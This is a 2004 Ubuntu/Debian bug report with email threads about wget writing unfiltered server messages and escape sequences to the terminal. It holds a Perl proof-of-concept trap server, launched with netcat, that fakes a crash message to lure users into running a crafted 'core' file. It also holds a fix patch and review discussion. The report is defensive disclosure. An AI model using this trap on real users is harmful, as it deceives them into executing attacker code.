Bug #7178 “wget: Server responses &c written to the tty verbatim...” : Bugs : wget package : Ubuntu

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-07-28:

#1

Automatically imported from Debian bug report #261755 http://bugs.debian.org/261755

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-07-28:

#2

Download full text (8.2 KiB)

Message-ID: <email address hidden>
Date: Wed, 28 Jul 2004 02:31:09 +0200
From: Jan Minar <email address hidden>
To: Debian Bug Tracking System <email address hidden>
Cc: <email address hidden>
Subject: wget: Server responses &c written to the tty verbatim (escape sequences, control characters,
...)

--7ZAtKRhVyVSsbBD2
Content-Type: multipart/mixed; boundary="mYCpIKhGyMATD0i+"
Content-Disposition: inline

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Package: wget
Version: 1.8.1-6.1
Severity: grave
Justification: user security hole
Tags: security patch

Hi.

Wget does absolutely no filtering of the server-supplied error messages,
and redirection URLs. And probably just anywhere else.

Both 1.8 & 1.9 branches exhibit this behaviour.

A simple not-very-functional demo is attached.

I found out there are just too many places where wget should filter, but
doesn't. The enclosed patch is covering just one of these places,
sadly. And even this tiny bit is covered badly, as, e.g., there's no
need to mark the message as server-generated, when in fact it's our
message about the lack of any message from the server, heh.

The comments in the patch should explain my reasoning in detail -- the
basic goals:

(1) Filter escape sequences & friends
-- HTTP 1.1 RFC allows [^\r\n\x00-\x1f\127]
(2) Mark the beginning & the end, and purpose of the message (``Remote
server said: >>> ... <<<'')
(3) Don't allow ending faking (remove extraneous whitespace, escape the end=
mark)
-- ``A recipient MAY replace any linear white space with a single SP
before interpreting the field value'' -- RFC 2616, Section 2.2

Please CC me, when appropriate.

Cheers.
Jan.

-- System Information
Debian Release: 3.0
Architecture: i386
Kernel: Linux kontryhel 2.4.26-jan #3 SMP Mon Apr 19 05:00:00 CEST 2004 i686
Locale: LANG=3DC, LC_CTYPE=3Dcs_CZ.ISO-8859-2

Versions of packages wget depends on:
ii libc6 2.2.5-11.5 GNU C Library: Shared librarie=
s an

--=20
"To me, clowns aren't funny. In fact, they're kind of scary. I've wonder=
ed
where this started and I think it goes back to the time I went to the circ=
us,
and a clown killed my dad."

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Description: A simple, not very functional demo
Content-Disposition: attachment; filename=wgettrap
Content-Transfer-Encoding: quoted-printable

#!/usr/bin/perl -W
# Usage:
# nc -lp31337 -e ./wgettrap.redirect
# nc -lp31337 -e ./wgettrap.segfault
#
# Discussion:
#
# We exploit the fact the attacker can speak on behalf of wget, i.e. & *som=
e*
# user will likely trust what wget says, and will be interested enough to r=
un
# our code.
#
# We prepare a redirection to a specially crafted `core' file, and then
# instruct the user to run it:
#
# (1) Redirection to a specially crafted `core' file
# (2) Set Content-Length just a little bit too high
# (3) Send the `core' file
# (4) wget will try reconnecting because of (2)
# (5) Return the segfault error
# (6) Obfuscate the wget output all-around-the-place
#
# The wget.segfault functionality...

Message-ID: <20040728003109.GA853@kontryhel.haltyr.dyndns.org>
Date: Wed, 28 Jul 2004 02:31:09 +0200
From: Jan Minar <jjminar@fastmail.fm>
To: Debian Bug Tracking System <submit@bugs.debian.org>
Cc: bug-wget@gnu.org
Subject: wget: Server responses &c written to the tty verbatim (escape sequences, control characters,
	...)

--7ZAtKRhVyVSsbBD2
Content-Type: multipart/mixed; boundary="mYCpIKhGyMATD0i+"
Content-Disposition: inline

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Package: wget
Version: 1.8.1-6.1
Severity: grave
Justification: user security hole
Tags: security patch

Hi.

Wget does absolutely no filtering of the server-supplied error messages,
and redirection URLs.  And probably just anywhere else.

Both 1.8 & 1.9 branches exhibit this behaviour.

A simple not-very-functional demo is attached.

I found out there are just too many places where wget should filter, but
doesn't.  The enclosed patch is covering just one of these places,
sadly.  And even this tiny bit is covered badly, as, e.g., there's no
need to mark the message as server-generated, when in fact it's our
message about the lack of any message from the server, heh.

The comments in the patch should explain my reasoning in detail -- the
basic goals:

(1) Filter escape sequences & friends
	-- HTTP 1.1 RFC allows [^\r\n\x00-\x1f\127]
(2) Mark the beginning & the end, and purpose of the message (``Remote
 	server said: >>> ... <<<'')
(3) Don't allow ending faking (remove extraneous whitespace, escape the end=
 mark)
	-- ``A recipient MAY replace any linear white space with a single SP
	before interpreting the field value''  -- RFC 2616, Section 2.2

Please CC me, when appropriate.

Cheers.
Jan.

-- System Information
Debian Release: 3.0
Architecture: i386
Kernel: Linux kontryhel 2.4.26-jan #3 SMP Mon Apr 19 05:00:00 CEST 2004 i686
Locale: LANG=3DC, LC_CTYPE=3Dcs_CZ.ISO-8859-2

Versions of packages wget depends on:
ii  libc6                         2.2.5-11.5 GNU C Library: Shared librarie=
s an

--=20
   "To me, clowns aren't funny. In fact, they're kind of scary. I've wonder=
ed
 where this started and I think it goes back to the time I went to the circ=
us,
			  and a clown killed my dad."

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Description: A simple, not very functional demo
Content-Disposition: attachment; filename=wgettrap
Content-Transfer-Encoding: quoted-printable

#!/usr/bin/perl -W
# Usage:
#	nc -lp31337 -e ./wgettrap.redirect
#	nc -lp31337 -e ./wgettrap.segfault
#
# Discussion:
#
# We exploit the fact the attacker can speak on behalf of wget, i.e. & *som=
e*
# user will likely trust what wget says, and will be interested enough to r=
un
# our code.
#
# We prepare a redirection to a specially crafted `core' file, and then
# instruct the user to run it:
#
# (1) Redirection to a specially crafted `core' file
# (2) Set Content-Length just a little bit too high
# (3) Send the `core' file
# (4) wget will try reconnecting because of (2)
# (5) Return the segfault error
# (6) Obfuscate the wget output all-around-the-place
#
# The wget.segfault functionality implements (5).  1-4 are not really that
# interesting, were it not for this wget bug.

# Colorful output, just for fun
$redirect=3D"HTTP/1.1 301 Moved Permanently=0D
Date: Fri, 23 Jul 2004 05:40:03 GMT=0D
Server: foobar=0D
Location: http://localhost/=1B[33mfoo=0D
Connection: close=0D
Content-Type: text/html; charset=3Diso-8859-1=0D
=0D
<HTML><HEAD><TITLE>FOO</TITLE></HEAD><BODY> bar=0D
</BODY></HTML>";

# Emulate "\r\n" by going to the last column and printing ' ' (space)=20
$crlf =3D "=1B[6969G ";

while(<STDIN>){
if (/^\r?$/) {
	# Wait a bit so we can see how the overwriting looks (on a slow
	# connection or otherwise)
	`sleep .5`;
	if ($0 =3D~ /segfault$/) {
		print "HTTP/1.1 666 ";
		# Go back 5 chars, erase to the end of line
		print "=1B[5D=1B[K";
		# The actual payload
		print "${crlf}Segmentation fault, core dumped. ";
		print "You may want to run \`\`gdb --command=3Dcore''.";
		# wget is going to print the payload two times. Go up one line,
		# so the first occurence will be overwritten.
		print "=1B[F";
		# Move to column far far away (6969, actually), so the '.'
		# (dot) wget is going to print can be easily overlooked
		print "=1B[6969G";
	} elsif ($0 =3D~ /redirect$/) {
		print $redirect;
	}
	print "\r\n\r\n";
	exit 0;
}
}

--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="wget.scam.patch"
Content-Transfer-Encoding: quoted-printable

--- wget-1.8.1/src/http.c	Thu Dec 13 17:46:56 2001
+++ wget-1.8.1-jan/src/http.c	Fri Jul 23 08:45:24 2004
@@ -106,6 +109,9 @@
 #define HTTP_STATUS_UNAVAILABLE		503
=20
 =0C
+/* XXX I honestly weren't able to find where to put the following line :-(=
 */
+char *escape_reason_phrase (const char *reason_phrase_ptr);
+=0C
 /* Parse the HTTP status line, which is of format:
=20
    HTTP-Version SP Status-Code SP Reason-Phrase
@@ -165,11 +171,74 @@
 	return -1;
     }
   else
-    *reason_phrase_ptr =3D line + 1;
+	  /*=20
+	   * The main problems are:
+	   *
+	   * 	(1) Escape sequences
+	   * 		-- window manipulation (resizing, moving, chvt, ...)
+	   *		-- environment manipulation (beep pitch & duration,
+	   *		unicode, charset, ...)
+	   *		-- etc.
+	   *	(2) Scams.
+	   *		-- Redirect =3D> core, then say ``Segmentation fault,
+	   *		core dumped. You may want to run gdb --command=3Dcore
+	   *		now.''
+	   *		-- Intimidation -- ``kernel: Formatting drive C:...''
+	   *	(3) Loops
+	   *		-- doing all this quickly over and over, with recursive
+	   *		downloads
+	   *		-- with a low-latency connections, the attacker has a
+	   *		*stream* at his/her disposal, instead of a few hundred
+	   *		characters of a buffer
+	   *=09
+	   */
+
+    *reason_phrase_ptr =3D escape_reason_phrase (line + 1);
=20
   return statcode;
 }
 =0C
+char *escape_reason_phrase (const char *reason_phrase_ptr) {
+	char *buf, c;
+	int i, j;
+
+	/* We encode each byte using at most 4 bytes, + trailing '\0'. */
+	buf =3D xmalloc (4 * strlen (reason_phrase_ptr) + 1);
+
+	for (i=3Dj=3D0; (c =3D reason_phrase_ptr[i]) !=3D '\0'; ++i) {
+		if ((c =3D=3D '\t' || c =3D=3D ' ') && (j =3D=3D 0 || buf[j-1] !=3D ' ')=
) {
+			buf[j++] =3D ' ';
+		/* We must assure the closing ``<<<'' can't be spoofed. */
+		} else if (c =3D=3D '<' || c =3D=3D '\\') {
+			buf[j++] =3D '\\';
+			buf[j++] =3D c;
+
+		/*
+		 * wget + <ctype.h> is broken in stable (see changelog for
+		 * version 1.9-1).  Therefore no isprint().  Confining the
+		 * range to printable ASCII.
+		 */
+
+		/* } else if (isprint (c)) { */
+		} else if (c >=3D 32 && c < 127) {
+			buf[j++] =3D c;
+		} else {
+			buf[j++] =3D '\\';
+			buf[j++] =3D '0' + (c >> 6);
+			buf[j++] =3D '0' + ((c & 0x3f) >> 3);
+			buf[j++] =3D '0' + (c & 7);
+		}
+	}
+	buf[j] =3D '\0';
+	return (buf);
+}
+=0C
 /* Functions to be used as arguments to header_process(): */
=20
 struct http_process_range_closure {
@@ -1659,7 +1728,17 @@
 	      logprintf (LOG_NONVERBOSE, "%s:\n", hurl);
 	      xfree (hurl);
 	    }
-	  logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
+	  /*
+	   * XXX Let's not allow the attacker pretend it's us speaking.
+	   *
+	   * It's important to:
+	   * (1) Explain who created the message
+	   * (2) Mark very visibly the beginning & end of the message
+	   * (3) Make clear we have no connection whatsoever with this message
+	   */
+	  /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
+	  logprintf (LOG_NOTQUIET,
+			_("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
 		     tms, hstat.statcode, hstat.error);
 	  logputs (LOG_VERBOSE, "\n");
 	  free_hstat (&hstat);
@@ -1744,7 +1822,8 @@
=20
       if (opt.spider)
 	{
-	  logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
+	  logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
+			  hstat.statcode, hstat.error);
 	  FREE_MAYBE (dummy);
 	  return RETROK;
 	}

--mYCpIKhGyMATD0i+--

--7ZAtKRhVyVSsbBD2
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFBBvPN+uczK20Fa5cRAuDLAKCOnimfhqA6LPbYBltMr2tC9WStZACgyeB1
dj+efuHKi1WXztZiGJPf5T0=
=k64G
-----END PGP SIGNATURE-----

--7ZAtKRhVyVSsbBD2--

Revision history for this message

Matt Zimmerman (mdz) wrote on 2004-07-28:

#3

Silly bug

Revision history for this message

In Debian Bug tracker #261755, Florian Weimer (fw) wrote on 2004-07-30: Patch review

#4

+ /* We encode each byte using at most 4 bytes, + trailing '\0'. */
+ buf = xmalloc (4 * strlen (reason_phrase_ptr) + 1);

Where is this buffer freed? Or is this compatible with the existing
approach to memory management in wget?

- logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
+ /*
+ * XXX Let's not allow the attacker pretend it's us speaking.
+ *
+ * It's important to:
+ * (1) Explain who created the message
+ * (2) Mark very visibly the beginning & end of the message
+ * (3) Make clear we have no connection whatsoever with this message
+ */
+ /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
+ logprintf (LOG_NOTQUIET,
+ _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),

I suppose that it would be better to use C-style quoting (with "")
instead of yet another ad-hoc string literal syntax. To increase
backwards compatibility, it's probably best to add the quotes only if
potentially harmful characters are actually contained in the server
response.

Note that you'd also have to change escape_reason_phrase().

- logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
+ logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
+ hstat.statcode, hstat.error);

Same here.

What's the status of this bug with respect to upstream? Has it been
sent in for review?

Revision history for this message

In Debian Bug tracker #261755, Noël Köthe (noel) wrote on 2004-07-30: Re: Bug#261755: Patch review

#5

Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

> What's the status of this bug with respect to upstream? Has it been
> sent in for review?

bug/patch submitter CC: the report to the upstream mailinglist (archive:
http://www.mail-archive.com/wget%40sunsite.dk/) but there is no answer
to the mail until now.

--
Noèl Köthe <noel debian.org>
Debian GNU/Linux, www.debian.org

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-07-30:

#6

Message-ID: <email address hidden>
Date: Fri, 30 Jul 2004 20:25:37 +0200
From: Florian Weimer <email address hidden>
To: <email address hidden>
Subject: Patch review

+ /* We encode each byte using at most 4 bytes, + trailing '\0'. */
+ buf = xmalloc (4 * strlen (reason_phrase_ptr) + 1);

Where is this buffer freed? Or is this compatible with the existing
approach to memory management in wget?

- logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
+ /*
+ * XXX Let's not allow the attacker pretend it's us speaking.
+ *
+ * It's important to:
+ * (1) Explain who created the message
+ * (2) Mark very visibly the beginning & end of the message
+ * (3) Make clear we have no connection whatsoever with this message
+ */
+ /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
+ logprintf (LOG_NOTQUIET,
+ _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),

I suppose that it would be better to use C-style quoting (with "")
instead of yet another ad-hoc string literal syntax. To increase
backwards compatibility, it's probably best to add the quotes only if
potentially harmful characters are actually contained in the server
response.

Note that you'd also have to change escape_reason_phrase().

- logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
+ logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
+ hstat.statcode, hstat.error);

Same here.

What's the status of this bug with respect to upstream? Has it been
sent in for review?

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-07-30:

#7

Message-Id: <1091216836.8798.3.camel@localhost>
Date: Fri, 30 Jul 2004 21:47:16 +0200
From: =?ISO-8859-1?Q?No=E8l_K=F6the?= <email address hidden>
To: Florian Weimer <email address hidden>, <email address hidden>
Subject: Re: Bug#261755: Patch review

--=-Q4nsZ32s1w2QK+Qiyezu
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

> What's the status of this bug with respect to upstream? Has it been
> sent in for review?

bug/patch submitter CC: the report to the upstream mailinglist (archive:
http://www.mail-archive.com/wget%40sunsite.dk/) but there is no answer
to the mail until now.

--=20
No=C3=A8l K=C3=B6the <noel debian.org>
Debian GNU/Linux, www.debian.org

--=-Q4nsZ32s1w2QK+Qiyezu
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Dies ist ein digital signierter Nachrichtenteil

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQBBCqXD9/DnDzB9Vu0RAni4AJ9uP6rHKhI3XW02M1QFm1xhIyMu4ACdG8l4
+n/U7eSkGS19SSSrB7OX6Y4=
=rZ1v
-----END PGP SIGNATURE-----

--=-Q4nsZ32s1w2QK+Qiyezu--

Revision history for this message

In Debian Bug tracker #261755, Noël Köthe (noel) wrote on 2004-08-11:

#8

Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

Hello,

fullquote because Jan asked for CC: and the previous mail wasn't CC: to
him.

> + /* We encode each byte using at most 4 bytes, + trailing '\0'. */
> + buf = xmalloc (4 * strlen (reason_phrase_ptr) + 1);
>
> Where is this buffer freed? Or is this compatible with the existing
> approach to memory management in wget?
>
> - logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> + /*
> + * XXX Let's not allow the attacker pretend it's us speaking.
> + *
> + * It's important to:
> + * (1) Explain who created the message
> + * (2) Mark very visibly the beginning & end of the message
> + * (3) Make clear we have no connection whatsoever with this message
> + */
> + /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> + logprintf (LOG_NOTQUIET,
> + _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
>
> I suppose that it would be better to use C-style quoting (with "")
> instead of yet another ad-hoc string literal syntax. To increase
> backwards compatibility, it's probably best to add the quotes only if
> potentially harmful characters are actually contained in the server
> response.
>
> Note that you'd also have to change escape_reason_phrase().
>
> - logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
> + logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
> + hstat.statcode, hstat.error);
>
> Same here.
>
> What's the status of this bug with respect to upstream? Has it been
> sent in for review?

Still no answer from upstream to Jans patch/bug.

--
Noèl Köthe <noel debian.org>
Debian GNU/Linux, www.debian.org

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-08-11:

#9

Message-Id: <email address hidden>
Date: Wed, 11 Aug 2004 13:08:24 +0200
From: =?ISO-8859-1?Q?No=E8l_K=F6the?= <email address hidden>
To: Florian Weimer <email address hidden>, <email address hidden>
Cc: Jan Minar <email address hidden>
Subject: Re: Bug#261755: Patch review

--=-D6TaGedH6xQiuzqeBQx9
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

Hello,

fullquote because Jan asked for CC: and the previous mail wasn't CC: to
him.

> + /* We encode each byte using at most 4 bytes, + trailing '\0'. */
> + buf =3D xmalloc (4 * strlen (reason_phrase_ptr) + 1);
>=20
> Where is this buffer freed? Or is this compatible with the existing
> approach to memory management in wget?
>=20
> - logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> + /*
> + * XXX Let's not allow the attacker pretend it's us speaking.
> + *
> + * It's important to:
> + * (1) Explain who created the message
> + * (2) Mark very visibly the beginning & end of the message
> + * (3) Make clear we have no connection whatsoever with this message
> + */
> + /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> + logprintf (LOG_NOTQUIET,
> + _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
>=20
> I suppose that it would be better to use C-style quoting (with "")
> instead of yet another ad-hoc string literal syntax. To increase
> backwards compatibility, it's probably best to add the quotes only if
> potentially harmful characters are actually contained in the server
> response.
>=20
> Note that you'd also have to change escape_reason_phrase().
>=20
> - logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
> + logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
> + hstat.statcode, hstat.error);
>=20
> Same here.
>=20
> What's the status of this bug with respect to upstream? Has it been
> sent in for review?

Still no answer from upstream to Jans patch/bug.

--=20
No=C3=A8l K=C3=B6the <noel debian.org>
Debian GNU/Linux, www.debian.org

--=-D6TaGedH6xQiuzqeBQx9
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Dies ist ein digital signierter Nachrichtenteil

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD4DBQBBGf4o9/DnDzB9Vu0RAiPUAJYi3mSESbZmiO1l6+s7as704717AJ49I/KS
3t8IMBdeb1mM6WSZiX2jLg==
=YHW+
-----END PGP SIGNATURE-----

--=-D6TaGedH6xQiuzqeBQx9--

Message-Id: <1092222504.18907.14.camel@p4.domain.lan>
Date: Wed, 11 Aug 2004 13:08:24 +0200
From: =?ISO-8859-1?Q?No=E8l_K=F6the?= <noel@debian.org>
To: Florian Weimer <fw@deneb.enyo.de>, 261755@bugs.debian.org
Cc: Jan Minar <jjminar@fastmail.fm>
Subject: Re: Bug#261755: Patch review

--=-D6TaGedH6xQiuzqeBQx9
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

Hello,

fullquote because Jan asked for CC: and the previous mail wasn't CC: to
him.

> +	/* We encode each byte using at most 4 bytes, + trailing '\0'. */
> +	buf =3D xmalloc (4 * strlen (reason_phrase_ptr) + 1);
>=20
> Where is this buffer freed?  Or is this compatible with the existing
> approach to memory management in wget?
>=20
> -	  logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> +	  /*
> +	   * XXX Let's not allow the attacker pretend it's us speaking.
> +	   *
> +	   * It's important to:
> +	   * (1) Explain who created the message
> +	   * (2) Mark very visibly the beginning & end of the message
> +	   * (3) Make clear we have no connection whatsoever with this message
> +	   */
> +	  /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> +	  logprintf (LOG_NOTQUIET,
> +			_("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
>=20
> I suppose that it would be better to use C-style quoting (with "")
> instead of yet another ad-hoc string literal syntax.  To increase
> backwards compatibility, it's probably best to add the quotes only if
> potentially harmful characters are actually contained in the server
> response.
>=20
> Note that you'd also have to change escape_reason_phrase().
>=20
> -	  logprintf (LOG_NOTQUIET, "%d %s\n\n", hstat.statcode, hstat.error);
> +	  logprintf (LOG_NOTQUIET, _(">>> %d %s <<<\n\n"),
> +			  hstat.statcode, hstat.error);
>=20
> Same here.
>=20
> What's the status of this bug with respect to upstream?  Has it been
> sent in for review?

Still no answer from upstream to Jans patch/bug.

--=20
No=C3=A8l K=C3=B6the <noel debian.org>
Debian GNU/Linux, www.debian.org

--=-D6TaGedH6xQiuzqeBQx9
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: Dies ist ein digital signierter Nachrichtenteil

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD4DBQBBGf4o9/DnDzB9Vu0RAiPUAJYi3mSESbZmiO1l6+s7as704717AJ49I/KS
3t8IMBdeb1mM6WSZiX2jLg==
=YHW+
-----END PGP SIGNATURE-----

--=-D6TaGedH6xQiuzqeBQx9--

Revision history for this message

In Debian Bug tracker #261755, Jan Minar (jjminar) wrote on 2004-08-13:

#10

Download full text (5.2 KiB)

On Wed, Aug 11, 2004 at 01:08:24PM +0200, Noel Köthe wrote:
> Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

> fullquote because Jan asked for CC: and the previous mail wasn't CC: to
> him.

Thanks. Note that when you send a mail to <number>@bugs.debian.org, the
original submitter is *not* sent a copy; you have to CC: the submitter
explicitly.

> > + /* We encode each byte using at most 4 bytes, + trailing '\0'. */
> > + buf = xmalloc (4 * strlen (reason_phrase_ptr) + 1);
> >
> > Where is this buffer freed? Or is this compatible with the existing
> > approach to memory management in wget?

It isn't. Did I mention I can't code in C?...

> > - logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> > + /*
> > + * XXX Let's not allow the attacker pretend it's us speaking.
> > + *
> > + * It's important to:
> > + * (1) Explain who created the message
> > + * (2) Mark very visibly the beginning & end of the message
> > + * (3) Make clear we have no connection whatsoever with this message
> > + */
> > + /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> > + logprintf (LOG_NOTQUIET,
> > + _("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
> >
> > I suppose that it would be better to use C-style quoting (with "")
> > instead of yet another ad-hoc string literal syntax.

Let's split this effort in four consequential steps:

(I) Filtering the control characters (including escape-sequences).

This is easy, if it weren't for so many places in the code that have to
be changed, and the massive difference between the woody & sarge
version. Just set the correct locale, do isprint(), and escape
appropriately. This can and should be adopted without a delay.

The following steps deal primarily with the freeform server-response:

(II) Making it possible to determine what the server-response is

You have to ensure the beginning & ending delimiters are not spoofable.
With Unicode, where similar glyphs are not so uncommon, and '\n' being
supplied by the terminal by the virtue of wrapping, this soon gets
tricky.

The begin-delimiter is ``Remote server said: BEGIN_QUOT'', the
end-delimiter is ``END_QUOT\n''. The begin-delimiter will work good,
regardless of the BEGIN_QUOT value. The only problem is we can't really
tell whether it was the *remote server*, or some third party (attacker),
who originated the message. If someone could come up with a more
appropriate phrase, I'd be pleased. The end-delimiter and any similar
glyphs (locale-dependent) will be escaped in the server-response, so
that it can't be spoofed. As we will never know which characters look
similar in a given font/locale combination, therefore we can never be
100% confident we are secure against spoofing. This, too, can be
implemented right ahead.

I chose ">>>"/"<<<" (and not e.g. '"') for BEGIN_QUOT/END_QUOT precisely
because it is not used anywhere in wget, and it looks strange, so to
pinpoint the message is not from us, but from some strange untrusted
source. ">>>" BTW is the python shell prompt.

(III) Marking the server-responses in an obvious and intuitive way

Hard if not impossible. Who cares about missing end-delimiter? When a
text s...

On Wed, Aug 11, 2004 at 01:08:24PM +0200, Noel Köthe wrote:
> Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

> fullquote because Jan asked for CC: and the previous mail wasn't CC: to
> him.

Thanks.  Note that when you send a mail to <number>@bugs.debian.org, the
original submitter is *not* sent a copy; you have to CC: the submitter
explicitly.

> > +	/* We encode each byte using at most 4 bytes, + trailing '\0'. */
> > +	buf = xmalloc (4 * strlen (reason_phrase_ptr) + 1);
> > 
> > Where is this buffer freed?  Or is this compatible with the existing
> > approach to memory management in wget?

It isn't.  Did I mention I can't code in C?...

> > -	  logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"),
> > +	  /*
> > +	   * XXX Let's not allow the attacker pretend it's us speaking.
> > +	   *
> > +	   * It's important to:
> > +	   * (1) Explain who created the message
> > +	   * (2) Mark very visibly the beginning & end of the message
> > +	   * (3) Make clear we have no connection whatsoever with this message
> > +	   */
> > +	  /* logprintf (LOG_NOTQUIET, _("%s ERROR %d: %s.\n"), */
> > +	  logprintf (LOG_NOTQUIET,
> > +			_("%s ERROR: Remote server said: >>> %d %s <<<.\n"),
> > 
> > I suppose that it would be better to use C-style quoting (with "")
> > instead of yet another ad-hoc string literal syntax.

Let's split this effort in four consequential steps:

(I) Filtering the control characters (including escape-sequences).

This is easy, if it weren't for so many places in the code that have to
be changed, and the massive difference between the woody & sarge
version.  Just set the correct locale, do isprint(), and escape
appropriately.  This can and should be adopted without a delay.

The following steps deal primarily with the freeform server-response:

(II) Making it possible to determine what the server-response is

You have to ensure the beginning & ending delimiters are not spoofable.
With Unicode, where similar glyphs are not so uncommon, and '\n' being
supplied by the terminal by the virtue of wrapping, this soon gets
tricky.

The begin-delimiter is ``Remote server said: BEGIN_QUOT'', the
end-delimiter is ``END_QUOT\n''.  The begin-delimiter will work good,
regardless of the BEGIN_QUOT value.  The only problem is we can't really
tell whether it was the *remote server*, or some third party (attacker),
who originated the message.  If someone could come up with a more
appropriate phrase, I'd be pleased.  The end-delimiter and any similar
glyphs (locale-dependent) will be escaped in the server-response, so
that it can't be spoofed.  As we will never know which characters look
similar in a given font/locale combination, therefore we can never be
100% confident we are secure against spoofing.  This, too, can be
implemented right ahead.

I chose ">>>"/"<<<" (and not e.g. '"') for BEGIN_QUOT/END_QUOT precisely
because it is not used anywhere in wget, and it looks strange, so to
pinpoint the message is not from us, but from some strange untrusted
source.  ">>>" BTW is the python shell prompt.

(III) Marking the server-responses in an obvious and intuitive way

Hard if not impossible.  Who cares about missing end-delimiter?  When a
text starts in column 0, it looks like coming from the running program,
no matter what.  You'd have to either turn the wrapping off, or you have
to know the width of the display.  Or you can draw a border around the
whole message (horrible, and space-wasting).

We could collapse the end-delimiter just to ``\n'', and to split the
server-response in among multiple lines, prepending the begin-delimiter
and the (possibly different) begin-delimiter-continuation, before every
one.  Then, we could leave out BEGIN_QUOT, too.  This is likely to break
some existing software.  The tricky part is to get the display width
*reliably*.  We can't just default to 80, as this would present a
problem for terminals with the actual width <80.  We could simply output
an error message and print *no* server-response.  We could have our own
built-in dictionary of standard error number interpretations.

(IV) Making it impossible to fool a casual user

This is impossible.  There will always people that would be vulnerable
because of bad luck, stupidity, poor language knowledge, etc.

> >                                                       To increase
> > backwards compatibility, it's probably best to add the quotes only if
> > potentially harmful characters are actually contained in the server
> > response.

Three points here:

(a) The user should get used to the format; this would improve
his/her confidence that what s/he sees is what s/he think it is.

(b) Any message above the numeric code is potentially dangerous; we are
talking social engineering here: we must make clear the message is *not
from us*.

(c) You are right that the original patch would break existing software,
so the new suggestion is to quote the free-form part of the server
response, and let the numeric code as it is.

_("%s ERROR %d: Remote server said: >>> %s <<<.\n"),
	           ^^^
Please keep me CC'd.

Jan.

-- 
   "To me, clowns aren't funny. In fact, they're kind of scary. I've wondered
 where this started and I think it goes back to the time I went to the circus,
			  and a clown killed my dad."

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2004-08-13:

#11

Download full text (5.9 KiB)

Message-ID: <email address hidden>
Date: Fri, 13 Aug 2004 03:22:40 +0200
From: Jan Minar <email address hidden>
To: Noel =?iso-8859-2?Q?K=F6the?= <email address hidden>
Cc: Florian Weimer <email address hidden>, <email address hidden>
Subject: Re: Bug#261755: Patch review

--FCuugMFkClbJLl1L
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, Aug 11, 2004 at 01:08:24PM +0200, Noel K=F6the wrote:
> Am Fr, den 30.07.2004 schrieb Florian Weimer um 20:25:

